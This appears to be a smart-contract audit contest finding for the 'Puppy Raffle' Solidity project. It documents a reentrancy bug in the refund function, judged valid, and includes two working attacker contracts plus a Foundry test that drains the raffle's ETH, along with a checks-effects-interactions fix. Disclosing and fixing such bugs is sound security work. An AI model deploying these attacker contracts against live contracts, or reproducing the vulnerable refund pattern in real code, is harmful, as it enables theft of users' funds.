Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Reentrancy

Reentrancy in PuppyRaffle::refund allows entrant to drain the contract balance

Description

The refund function allows a player to withdraw their entrance fee by providing their index in the players array. The function sends the ETH refund to the caller and then sets their address to address(0) in the array.

The issue is that the state update (players[playerIndex] = address(0)) happens after the external call (sendValue). If the caller is a contract, its receive/fallback function can re-enter refund before the state is updated, draining the contract of all its ETH.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
@> payable(msg.sender).sendValue(entranceFee);
@> players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}

Risk

Likelihood:

  • Any user can enter the raffle using a malicious contract, making this trivially exploitable

  • The pattern of external call before state update is a well-known exploit vector that attackers actively scan for

Impact:

  • Complete drainage of the contract's ETH balance, including entrance fees from all other participants and accumulated protocol fees

  • Winners cannot be paid out, and the protocol becomes insolvent

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
import {Test, console} from "forge-std/Test.sol";
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
contract ReentrancyAttacker {
PuppyRaffle public puppyRaffle;
uint256 public playerIndex;
uint256 public entranceFee;
constructor(PuppyRaffle _puppyRaffle) {
puppyRaffle = _puppyRaffle;
entranceFee = puppyRaffle.entranceFee();
}
function attack() external payable {
// Enter the raffle
address[] memory players = new address[](1);
players[0] = address(this);
puppyRaffle.enterRaffle{value: entranceFee}(players);
// Get our index
playerIndex = puppyRaffle.getActivePlayerIndex(address(this));
// Start the reentrancy attack
puppyRaffle.refund(playerIndex);
}
receive() external payable {
if (address(puppyRaffle).balance >= entranceFee) {
puppyRaffle.refund(playerIndex);
}
}
}
contract ReentrancyTest is Test {
PuppyRaffle puppyRaffle;
ReentrancyAttacker attacker;
uint256 entranceFee = 1e18;
function setUp() public {
puppyRaffle = new PuppyRaffle(entranceFee, address(99), 1 days);
attacker = new ReentrancyAttacker(puppyRaffle);
}
function testReentrancyRefund() public {
// Four legitimate users enter the raffle
address[] memory players = new address[](4);
players[0] = address(1);
players[1] = address(2);
players[2] = address(3);
players[3] = address(4);
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
// Attacker enters and exploits reentrancy
uint256 contractBalanceBefore = address(puppyRaffle).balance;
attacker.attack{value: entranceFee}();
uint256 contractBalanceAfter = address(puppyRaffle).balance;
// Attacker drained all ETH from the contract
assertEq(contractBalanceAfter, 0);
assertEq(address(attacker).balance, contractBalanceBefore + entranceFee);
}
}

Recommended Mitigation

Apply the Checks-Effects-Interactions pattern by moving the state update before the external call:

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+ players[playerIndex] = address(0);
+ emit RaffleRefunded(playerAddress);
payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0);
- emit RaffleRefunded(playerAddress);
}

Additionally, consider using OpenZeppelin's ReentrancyGuard with the nonReentrant modifier for defense in depth.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 1 day ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

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